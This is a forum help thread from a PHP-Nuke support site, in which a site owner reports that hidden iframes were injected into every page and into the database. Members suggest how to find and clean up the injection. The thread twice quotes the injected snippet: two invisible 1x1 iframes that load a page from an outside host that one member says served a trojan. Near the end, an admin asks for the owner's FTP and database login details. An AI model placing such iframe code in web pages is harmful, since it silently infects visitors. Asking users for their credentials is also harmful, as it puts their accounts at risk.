Home :: Forums :: Downloads :: Shop
  1. Home
  2. Forums
  3. General PHP Nuke Help
  4. A Script or something has been added to my site ?

A Script or something has been added to my site ?

  Post new topicReply to topicPrintable Version
<< View previous topic View next topic >>
Share: Del.icio.us  Digg  Google  Spurl  Blink  Furl  Y! MyWeb  
#1.    A Script or something has been added to my site ?
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   
Hey peeps can some one please advise or help me out !!

my site [ADMIN EDITED FOR VIRUS] a popup will appear !! and i dont know where it is comming from.

also if you view the page source a line has been added to the top

<iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


and this is on every awesome page !!

i dont know where it is getting this from or how it got there !! can some one help me plz im pullling my hair out !! icon_cry.gif
Back to top Reply with quote
#2.    
jaymullah
CZ Super Newbie
jaymullah has been a member for over 20 year's 20 Year Member
usa.gif northcarolina.gif
Occupation: Freelance Webdesign
Age: 44
Gender: Male
Website:
Status: Offline
Joined: Jan 11, 2004
0.01 posts per day
Posts: 40
Points: 3,244
 Yahoo Messenger MSN Messenger 
It sounds like someone has hacked into your site. First thing I would do is export your database to a .sql file and then search the file for "http://step57.info/traff/index.php" . Then you will see where that snippet of code was inserted into your database.

If you do not find it in your database , you will need to start checking the actual files. Check header.php , mainfile.php , index.php , even check files in your theme folders.

Your best bet is to just erase everything and replace it with your last backup of your site. Your database & code. If your site was hacked, there is no telling what all was accessed and changed.

You may also want to read of this post: [ Register or login to view links on this board. ]



Back to top Reply with quote
#3.    
__PHANTOM__
CZ Super Newbie
__PHANTOM__ has been a member for over 19 year's 19 Year Member
usa.gif florida.gif
Age: 33
Gender: Male
 Status: Offline
Joined: Dec 27, 2004
0.01 posts per day
Posts: 41
Points: 5,120
  MSN Messenger 
Grr this brown earth gave me a trojan. I went to the site and nortan popped up and said Download.Trojan, luckily this removed it. I dont think u should post that brown earth on here. People could get trojaned from it.
Back to top Reply with quote
#4.    
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   

Originally posted by __PHANTOM__ @ Mon Feb 27, 2006 7:46 am:

Grr this *&^% gave me a trojan. I went to the site and nortan popped up and said Download.Trojan, luckily this removed it. I dont think u should post that *&^% on here. People could get trojaned from it.


sorry ..
Back to top Reply with quote
#5.    re: A Script or something has been added to my site ?
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   
Thanks for the fast responce

i did a backup of the sql data base and opened it in wordpad and there it is first line

<iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


im gona check those files you suggested now !!
Back to top Reply with quote
#6.    re: A Script or something has been added to my site ?
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   
ive searched all them to find nothing, can i ask what you think they have hacked ? would it be the site or the sql database ?

this has stumped me totoally, luckily i have a complete backup from approx 2 weeks ago so were not going to loose to much info, butits still a pain !! icon_mrgreen.gif
Back to top Reply with quote
#7.    
Telli
Site Admin
Telli has been a member for over 20 year's 20 Year Member
Occupation: Self Employed
Age: 45
Gender: Male
Fav. Sports Team: Detroit Red Wings
Website:
Status: Offline
Joined: May 26, 2003
1.06 posts per day
Posts: 8089
Points: 494,430
   
Did you get rid of it? What version oif Nuke are you running?




_________________
The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. Blessed is he, who in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy my brothers. And you will know my name is the Lord when I lay my vengeance upon thee. Ezekiel 25:17
Back to top Reply with quote
#8.    re: A Script or something has been added to my site ?
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   
no not got it fixed yet still trying .. lol

im using PNC 2.1 i beleive thats a modified version of 7.6
Back to top Reply with quote
#9.    
Telli
Site Admin
Telli has been a member for over 20 year's 20 Year Member
Occupation: Self Employed
Age: 45
Gender: Male
Fav. Sports Team: Detroit Red Wings
Website:
Status: Offline
Joined: May 26, 2003
1.06 posts per day
Posts: 8089
Points: 494,430
   
PM your site URL, and FTP login information. I may also need the Mysql but just send that info for now. I will try to locate it for you.




_________________
The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. Blessed is he, who in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy my brothers. And you will know my name is the Lord when I lay my vengeance upon thee. Ezekiel 25:17
Back to top Reply with quote
#10.    re: A Script or something has been added to my site ?
xGSTQ
CZ Super Newbie
 Codezwiz Site Donator
xGSTQ has been a member for over 18 year's 18 Year Member
uk.gif
Gender: Male
Website:
Status: Offline
Joined: Sep 07, 2005
0.01 posts per day
Posts: 56
Points: 4,428
   
Your a star Telli illsort it out for you know !!
Back to top Reply with quote
Display posts from previous:      
Add To: Del.icio.us  Digg  Google  Spurl  Blink  Furl  Y! MyWeb  
<< View previous topic View next topic >>
Post new topicReply to topic

Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You cannot download files in this forum

∧